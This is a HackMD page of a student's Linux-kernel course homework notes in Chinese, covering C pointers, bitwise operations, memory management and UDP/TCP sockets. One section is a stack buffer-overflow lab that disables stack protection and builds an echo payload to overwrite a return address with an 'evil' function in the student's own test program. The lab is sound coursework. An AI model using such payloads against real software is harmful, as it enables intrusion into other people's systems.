劉家成
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights
    • Engagement control
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Versions and GitHub Sync Note Insights Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       owned this note    owned this note      
    Published Linked with GitHub
    Subscribed
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    Subscribe
    # 2024q1 Homework5 (assessment) contributed by <`fatcatorange` > ## 因為自動飲料機而延畢的那一年 在這篇文章中,我首先看到了現實的一面,我一直有一個做出讓很多人使用的產品的夢想,因此我在大學、研究所期間學習了遊戲設計、網頁前後端等領域,但這篇文章和我的實作過程中都發現,在缺乏資金和實力真的不到頂尖的情況下,真的很難成功。 但看到一半時,我不禁佩服起了這些人,即使遇到這樣的困難還是堅持做下去,換做是我,看到第一個掉杯機花那麼久的時間作不出來,我應該就果斷放棄了,這大概也是我這麼爛的原因,因為以前失敗的經驗,遇到困難總是先覺得自己辦不到。 「你最大的問題在太害怕失敗了,既然都已經決定要延畢做飲料機了,那就要好好做,才不會辜負當初自己的期望」 這句話我已經在我的第一個作業共筆中看過類似留言,我真的很怕失敗,我也不知道怎麼辦,當我想做好一件事,真的開始做時又會顧慮東顧慮西,怕沒辦法在 deadline 前做出來、怕其他課或事情被拖延,到最後甚麼都做不好。 後半部分,大部分就是他們完成飲料機的過程,大部分我看不懂,因為牽涉到一些電路之類的東西,最後完成的結果也沒辦法商用化,但作者似乎還是覺得很滿意了。 作者提到,資工系的不會寫程式,電工系不會焊電路,這我看完文章之後非常有體悟,我常常刷題,自以為程式能力還可以,但真的要把這些程式能力拿去應用,我肯定不行,我甚至看不懂他用 nodejs 控制電路板的部分,這樣根本不能稱作會寫程式。 「儘管世界如此殘酷,但人卻不一樣,當你真心想做到一件事,付出足夠的犧牲,這個世界會聽見並做出回應,周遭的人漸漸願意相信你、花時間幫助你,你的付出並不見得會有結果,但是加上許多人的幫助,可能一切就不一樣了。」,也許是我還沒有付出足夠多的努力,這段話我沒有感覺到共鳴。 ## 1~6 周教材研讀 ### 你所不知道的 C 語言: linked list 和非連續記憶體 各名詞的解釋: * object: 程式執行期間資料儲存的區域都可以稱為 object * 所有儲存資料的區域都是,包含指標 (指標儲存的就是這個變數儲存的位址,自然也是物件。 * C 永遠是 call by value * type: 根據規格書 6.2.5 描述: ``` The meaning of a value stored in an object or returned by a function is determined by the type of the expression used to access it. ``` 物件怎麼儲存或函式的回傳由 type 決定。 * 所有儲存資料的區域都是,包含指標 (指標儲存的就是這個變數儲存的位址,自然也是物件。 * 算術和指標 type 統稱為 scale type,可使用 i++ 等操作。 * 陣列、structure 等則稱為 aggregate type。 * 如果不知道物件大小,稱為 imcomplete type,這種 type 可以宣告指標,但不能建立實體 (也就是有宣告,但沒有定義裡面的樣子)。 * function, array, pointer 實際上都是 derived declarator types ,實質上都是指標。 練習題: ```c *(int32_t * const) (0x67a9) = 0xaa6; ``` 透過(int32_t * const) (0x67a9) , 0x67a9 ~~被轉為 32 bit 的型態(指標是 32 bit 儲存的)~~ 轉為指向 int32_t 類型的指標,之後透過 * 符號,將這個指標內的值修改為 0xaa6。 :::warning 因為老家沒有 linux 電腦,先使用線上編譯器嘗試: ```c #include <stdio.h> #include <stdint.h> int main() { *(int32_t * const) (0x67a9) = 0xaa6; printf("%d", *(int32_t * const) (0x67a9)); return 0; } ``` 出現 segmentation fault, 之後再使用 linux 電腦嘗試。 仍出現 segmentation fault,使用 gdb 檢查: ```shell main () at test.c:5 5 *(int32_t * const) (0x67a9) = 0xaa6; (gdb) x 0x67a9 0x67a9: Cannot access memory at address 0x67a9 ``` gdb 無法檢查這個位址,我嘗試先分配一塊空間出來: ```c int32_t *temp = malloc(sizeof(int)); ``` `$1 = (int32_t *) 0x5555555592a0` 接下來我嘗試直接寫入這個區域: ```c *(int32_t * const) (0x5555555592a0) = 0xaa6; printf("%d", *(int32_t * const) (0x5555555592a0)); ``` ```shell 6 int32_t *temp = malloc(sizeof(int)); (gdb) n 7 *(int32_t * const) (0x5555555592a0) = 0xaa6; (gdb) n 8 printf("%d", *(int32_t * const) (0x5555555592a0)); (gdb) print *(0x5555555592a0) $1 = 2726 (gdb) n 9 return 0; (gdb) print *temp $2 = 2726 ``` 結論是,真的可以直接寫資料進固定位址,但前提是程式必須能控制那會記憶體區域,我不理解這樣的作法會在什麼樣的場合用到(或許可以省下指標的空間?) ::: * *void *void 透過讓使用者必須強制轉型才能存取 舉例來說,下面的程式碼會出現錯誤告知嘗試 dereference void pointer: ```c int main() { int a = 1; void *tmp = &a; printf("%d",*tmp); return 0; } ``` 但這樣可以正常執行(因為有強制轉型為指向 int 的指標) ```c int main() { // Write C code here int a = 1; void *tmp = &a; printf("%d",*(int*) tmp); return 0; } ``` 指標的指標: 當我們希望在函式中改變一個指標指向的位置,因為 c 是 call by value, 因此只會傳入這個指標的複製進去,在函式內僅會對這個複製的指標修改。 因此,透過指標的指標,複製一個指向某個位址的指標,這樣就可以真的修改這個指標指向的位址。 forward declaration 搭配指標的技巧: 前面提到 imcomplete type 可以宣告指標,因此如果宣告一個 struct, 並在其他函式中透過指標操作,不管之後這個 struct 怎麼修改都不會影響這個函式。 Pointers vs. Arrays 兩者不能切換的情況: * extern char x[ ] != extern char *x * char x[10] != char *x (char *x = malloc(10 * sizeof(char)) 也不行嗎?) function array: 可以宣告一個函式,並讓一個指標指向他: ```c #include <stdio.h> void call(int a, int b) { printf("%d", a * b); } int main() { void (*callJimmy)(int,int); callJimmy = call; callJimmy(20,4); } ``` 透過 typedef ,可以定義特定樣子(包含的參數、回傳的型態)的函式,舉例來說: ```c #include <stdio.h> void call(int a, int b) { printf("%d", a * b); } typedef int (*callJimmy)(int,int); int main() { callJimmy fptr; fptr = call; fptr(20,4); } ``` 這裡 callJimmy 就被定義成一種指向 `回傳為 int,輸入是兩個 int 的函式` 的指標。 甚至可以把函式指標弄成陣列(陣列內也是函式指標,因此陣列是指標的指標?): ```c #include <stdio.h> void add(int a, int b) { printf("%d", a + b); } void sub(int a,int b) { printf("%d", a - b); } typedef void (*callJimmy)(int,int); int main() { callJimmy fptr[2] = {add,sub}; fptr[0](5,6); fptr[1](5,6); } ``` 也可改寫成: ```c int main() { callJimmy fptr[2] = {add,sub}; (*(fptr))(5,6); (*(fptr + 1))(5,6); } ``` 針對指標的修飾 (qualifier) char * const pContent; 代表指向一個 char ,並且宣告後就不能修改 const char * pContent; 則代表指向一個 const char,可以改為指向其他 const char。 offsetof: 計算偏移量: ```c struct ssj { int sj; float super; }; typedef void (*callJimmy)(int,int); int main() { struct ssj *strong; printf("%ld", offsetof(struct ssj, super)); } ``` 結果為 4,如果傳入 sj 則為 0。 因為資料 sj 欄位佔了 4 byte , sj 是開頭, super 在 sj 後面,所以是 4。 ## 你所不知道的 C 語言:數值系統篇 二進位轉換: 大寫和小寫英文字母只有一個 0100000 的差距 轉小寫: ('A' | ' ')、('a' | ' ') =>a 'A'=>1000001 ' '=>0100000 __ 1100001 => a 'a'=>1100001 ' '=>0100000 __ 1100001 => a 轉大寫: ('a' & '_')、('A' & '_') 'a'=>1100001 '_'=>1011111 -- 1000001 => A 'A'=>1000001 '_'=>1011111 -- 1000001 => A 大小顛倒: ('a' ^ ' ')、('A' ^ ' ') 'a'=>1100001 ' '=>0100000 -- 1100001 => a 'A'=>1000001 ' '=>0100000 -- 1100001 => a xor swap(當記憶體資源稀少時可使用) 範例: *x = 1001 *y = 1101 ```c void xorSwap(int *x, int *y) { *x ^= *y; // x = 0100 *y ^= *x; // y = 1001 *x ^= *y; // x = 1101 } ``` 避免 overflow: (x + y)/2 可能造成 overflow (x + y)/2 =>(x + y) >> 1 (右移 1 功能與 /2 相同) =>(x ^ y + (x & y) << 1) >> 1 (x ^ y 是相加不進位,x & y = 1 代表要進位,左移 1 代表把進位的部份加一) =>(x & y) + ((x ^ y) >> 1 ) 0110 //6 1111 //15 0110 + 0100 = 1010 //10 省去迴圈 ```c int func(unsigned int x) { int val = 0; int i = 0; for (i = 0; i < 32; i++) { val = (val << 1) | (x & 0x1); x >>= 1; } return val; } ``` 假設以比較小範圍來看(假設只有 4 bits) 若 x 是 1100: 第一次迴圈時: ```c val = (val << 1) | (x & 0x1); // val = 0000 | (1100 & 0001) => val = 0000 x >>= 1; //x = 0110 ``` 第二次: ```c val = (val << 1) | (x & 0x1); // val = 0000 | (0110 & 0001) => val = 0000 x >>= 1; //x = 0011 ``` 第三次: ```c val = (val << 1) | (x & 0x1); // val = 0000 | (0011 & 0001) => val = 0001 x >>= 1; //x = 0001 ``` 第三次: ```c val = (val << 1) | (x & 0x1); // val = 0010 | (0001 & 0001) => val = 0011 x >>= 1; //x = 0000 ``` 可以發現,越前面被 (x & 0x1) 設定成 1 的位元,最後會被推到 val 越後面的位元,因此這個函式就是在進行反轉。 如何不用迴圈完成? ```c new = num; new = ((new & 0xffff0000) >> 16) | ((new & 0x0000ffff) << 16); new = ((new & 0xff00ff00) >> 8) | ((new & 0x00ff00ff) << 8); new = ((new & 0xf0f0f0f0) >> 4) | ((new & 0x0f0f0f0f) << 4); new = ((new & 0xcccccccc) >> 2) | ((new & 0x33333333) << 2); new = ((new & 0xaaaaaaaa) >> 1) | ((new & 0x55555555) << 1); ``` ## 你所不知道的 C 語言: bitwise 操作 abs(n) => ((n>>31) ^ n) - (n>>31) 當 n 為正數,n>>31 為 0000..00,xor n 仍為 n 當 n 為負數,n>>31 為 1111..11,xor n 為 ~(n),再 - (-1)(即 1111..11) 就是 abs(n) set a bit: `a |= (1<<n)` 不管原本該位元是 0 or 1,or 後結果都是 1 clear a bit: `b &= ~(1 << n);` 假設要 clear 第3個 bit: 1<<3=>000...01000 => ~(1 << 3) => 111...10111 因此除了第三位外,其餘位元保留,而第三位因為是 0 ,& 的結果必定為 0。 toggle a bit: `c ^= (1 << n)` 10011011 00010000 -- 10001011 -> 原本是 1, xor 完變 0 ,否則變 1。 ## 你所不知道的 C 語言:記憶體管理、對齊及硬體特性 heap 和 stack(部份參考 [記憶體分配:stack與heap](https://hackmd.io/@Ben1102/B1gfGLT3u)): stack: 用來儲存 function 的呼叫、傳入的參數或區域變數,stack 的大小是在編譯完成就固定了,因此如果 stack 使用的記憶體過多會發生 stack overflow。 heap: heap 則是動態分配的記憶體區域,如使用 malloc()等方法動態分配的,但需要注意分配的記憶體必須釋放,否則可能引起 memory leak。 memory leak 實驗: 文章中提到, memory leak 可能是由未釋放空間導致。 一段簡單的程式碼: ```c void f(void) { void* s; s = malloc(5000); return; } int main(void) { while (1) f(); return 0; } ``` 這段程式碼中,f() 會不斷被呼叫,然而其申請的 5000 byte 空間不會被釋放就返回了,當程式執行一段時間後,因為沒辦法再從 heap 分配更多空間,因此會被強致結束。 而如果在返回前加入 free(s),則程式真的就會不段重複執行,因為每次都有把空間釋放,不會發生無法分配空間的問題。 gdb 的對齊實驗: ```shell $1 = 0x5555555592a0 "" (gdb) n 7 for (int i = 0; i < 10000; ++i) { (gdb) print z No symbol "z" in current context. (gdb) n 9 z = malloc(sizeof(char)); (gdb) print z $2 = 0x5555555592c0 "" (gdb) n 7 for (int i = 0; i < 10000; ++i) { (gdb) n 9 z = malloc(sizeof(char)); (gdb) print z $3 = 0x5555555592e0 "" ``` :::warning 之後檢查 malloc 為何這樣分配? ::: ## 你所不知道的 C 語言:函式呼叫篇 :::danger 看不懂前面,先複習組合語言 ::: buffer overflow 實驗: ```shell $ gcc -o bof -fno-stack-protector -g -no-pie test.c ``` -fno-stack-protector 是取消記憶體保護,-no-pie 是把讓程式從固定位置載入的功能取消,這樣攻擊比較容易成功。 下面可以看到回傳位址在 +62 處 ```c gdb-peda$ pd main Dump of assembler code for function main: 0x0000000000401190 <+0>: endbr64 0x0000000000401194 <+4>: push rbp 0x0000000000401195 <+5>: mov rbp,rsp 0x0000000000401198 <+8>: sub rsp,0x10 0x000000000040119c <+12>: lea rax,[rip+0xe69] # 0x40200c 0x00000000004011a3 <+19>: mov rdi,rax 0x00000000004011a6 <+22>: call 0x401060 <puts@plt> 0x00000000004011ab <+27>: lea rax,[rbp-0xa] 0x00000000004011af <+31>: mov rdi,rax 0x00000000004011b2 <+34>: mov eax,0x0 0x00000000004011b7 <+39>: call 0x401080 <gets@plt> 0x00000000004011bc <+44>: lea rax,[rbp-0xa] 0x00000000004011c0 <+48>: mov rdi,rax 0x00000000004011c3 <+51>: call 0x401060 <puts@plt> 0x00000000004011c8 <+56>: mov eax,0x0 0x00000000004011cd <+61>: leave => 0x00000000004011ce <+62>: ret End of assembler dump. gdb-peda$ ``` 指向了 `aaaa...a` ``` 0000| 0x7fffffffd8c8 ('a' <repeats 140 times>) 0008| 0x7fffffffd8d0 ('a' <repeats 132 times>) 0016| 0x7fffffffd8d8 ('a' <repeats 124 times>) 0024| 0x7fffffffd8e0 ('a' <repeats 116 times>) 0032| 0x7fffffffd8e8 ('a' <repeats 108 times>) 0040| 0x7fffffffd8f0 ('a' <repeats 100 times>) 0048| 0x7fffffffd8f8 ('a' <repeats 92 times>) 0056| 0x7fffffffd900 ('a' <repeats 84 times>) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x00000000004011ce in main () at test.c:14 14 } gdb-peda$ p $rsp $1 = (void *) 0x7fffffffd8c8 gdb-peda$ x/g 0x7fffffffd8c8 warning: Unable to display strings with size 'g', using 'b' instead. 0x7fffffffd8c8: 'a' <repeats 140 times> ``` 檢查 evil 函是的位址 ```shell gdb-peda$ p evil $2 = {int ()} 0x401176 <evil> ``` 透過文章方法,輸入 abcdef.... 來確認到回傳指令的偏移量: ```shell egend: code, data, rodata, value Stopped reason: SIGSEGV 0x00000000004011ce in main () at test.c:14 14 } gdb-peda$ p $rsp $1 = (void *) 0x7fffffffd8c8 gdb-peda$ x/s 0x7fffffffd8c8 0x7fffffffd8c8: "ttuvwxyzabcdefghijklmnop" ``` t 前面有 18 個字母,輸入 18 個 a 來完成: ```shell echo -ne "aaaaaaaaaaaaaaaaaa\x76\x11\x40\x00\x00\x00\x00\x00" aaaaaaaaaaaaaaaaaav@jason@jason-System-Product-Name:~/linux-2024/test$ echo -ne "aaaaaaaaaaaaaaaaaa\x76\x11\x40\x00\x00\x00\x00\x00" > payload jason@jason-System-Product-Name:~/linux-2024/test$ ./bof < payload Input: aaaaaaaaaaaaaaaaaav@ 程式記憶體區段錯誤 (核心已傾印) ``` 失敗,透過 gdb 檢查: ```shell gdb-peda$ x/s 0x7fffffffd8c8 0x7fffffffd8c8: "\\x76\\x11\\x40\\x00\\x00\\x00\\x00\\x00" gdb-peda$ *p evil Undefined command: "". Try "help". gdb-peda$ p evil $2 = {int ()} 0x401176 <evil> ``` 問題似乎是因為字串被轉換了? 我輸入的 `\` 全部被轉成 `\\` 了。 我嘗試直接把 stack 的頭改成 0x401176 (evil 函是的位址) ```shell gdb-peda$ p 0x7fffffffd8c8 $14 = 0x7fffffffd8c8 gdb-peda$ p *0x7fffffffd8c8 $15 = 0xf7c29d90 gdb-peda$ set *0x7fffffffd8c8 = 0x401176 gdb-peda$ p *0x7fffffffd8c8 $16 = 0x401176 ``` 出現以下錯誤: ``` [-------------------------------------code-------------------------------------] Invalid $PC address: 0x7fff00401176 ``` --- ## 5/6 1對1 討論後研究: ### socket programming 因為覺得連最基本的 socket programming 都不熟悉,因此從此處開始研究: 以 [github 上的 socket programming 教學](https://github.com/davidleitw/socket) 作為主要教材: #### UDP ##### 建立 socket: ```c int socket_fd = socket(AF_INET, SOCK_DGRAM, 0); ``` 第一、二個參數分別代表 ipv4 和 udp 第三個是別名? 通常填入 0 建立好後,要設定 socket address ,因為這裡使用 ipv4,因此可以使用 `socket_in`來儲存資料。 例如可以這樣設定: ``` struct sockaddr_in serverAddr = { .sin_family = AF_INET, //IPV4 .sin_addr.s_addr = INADDR_ANY, //不限 ip .sin_port = serverPort }; ``` ##### 綁定: 完成後要把這個 socket 的 fd 綁定給某個 ip 或 port,這裡需要注意的是因為 bind 欄位預設是要輸入 sockaddr,但我們使用的是 sockaddr_in ,因此要進行強致轉型( sockaddr_in 內有進行必要的填充,兩者大小相同。 ```c bind(socket_fd, (const struct sockaddr *)&serverAddr, sizeof(serverAddr)); ``` ##### 接收資料: 綁定完成後,可以使用 `recvfrom` 來接收資料,如下: ```c if (recvfrom(socket_fd, buf, sizeof(buf), 0, (struct sockaddr *)&clientAddr, &len) < 0) { break; } ``` 其中 clientAddr 和 serverAddr 相同,儲存一些 ip、port 之類的資料,這樣資料才能透過這些資訊回傳。 ##### 傳輸資料: 使用 `sendto` 回傳資料,參數內容基本上和 recvfrom ```c sendto(socket_fd, conv, sizeof(conv), 0, (struct sockaddr *)&clientAddr, sizeof(clientAddr)); ``` 也就是說, socket 綁定完成後通過 recvfrom 等待資料,並透過 sendto 函式進行回傳。 而 user 端就只要做跟 server 端相同的事,只是改為先傳輸,再等回傳。 奇怪的是,我原本以為程式執行到 recvfrom 就會卡住,收到資料後往下執行,然後迴圈再執行回 recvfrom 等待,因此我原本想法是如果 server 正在執行資料處理,那這時候其他用戶傳資料過來應該沒辦法收到,因此我做了以下實驗,先開啟 1 個 client,當 server 接收到資料後,先 sleep 10 秒鐘,而我就在這 10 秒鐘再開啟一個 client 端的程式傳輸資料,我預期應該只有第一個 client 會接收到資料,但實際上兩個 client 都有收到回覆 ```c sleep(10); ``` 此外,我並沒有設定 client 端的資料,client 也沒有 bind 到某個 port,卻能成功執行? 檢查後發現是回傳到 `127.0.0.1:41173`,port 每次不同,這是代表原本就要 bind 到某個 port 嗎? 假設我有先進行綁定: ```c struct sockaddr_in clientAddr = { .sin_family = AF_INET, //IPV4 .sin_addr.s_addr = INADDR_ANY, //不限 ip .sin_port = htons(54321) }; if (bind(socket_fd, (const struct sockaddr *)&clientAddr, sizeof(clientAddr)) < 0) { perror("Bind socket failed!"); close(socket_fd); exit(0); } ``` 這次就成功抓到 port 54321 的資料,因此似乎在創建 socket 時,除非有綁定,否則就會自動分配一個 port 給他? #### TCP 相比 UDP , TCP 必須建立連線,因此在 server 端要先透過 listen 進行監聽 (聽有沒有人要建立連線) ```c int listen(int sockfd, int backlog); ``` `backlog` 代表最大連線數 在 client 端,則要使用 connect 進行連接,代連線建立完成就會被放到 complete connection queue。 ```c int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen); ``` 接下來使用 `access` 就可以獲取 complete connection queue 的資料(所以會被處理的資料都是已經建好連線了) ```c int accept(int sockfd, struct sockaddr *restrict addr, socklen_t *restrict addrlen); ``` ### ktcp https://hackmd.io/@fatCatOrange/ktcp ### RCU 關於 RCU 的筆記:https://hackmd.io/FxDhzUmKRnKKBl1RSFkpsg ktime stack 使用量? 1.2.4 MRE: https://en.wikipedia.org/wiki/Minimal_reproducible_example

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully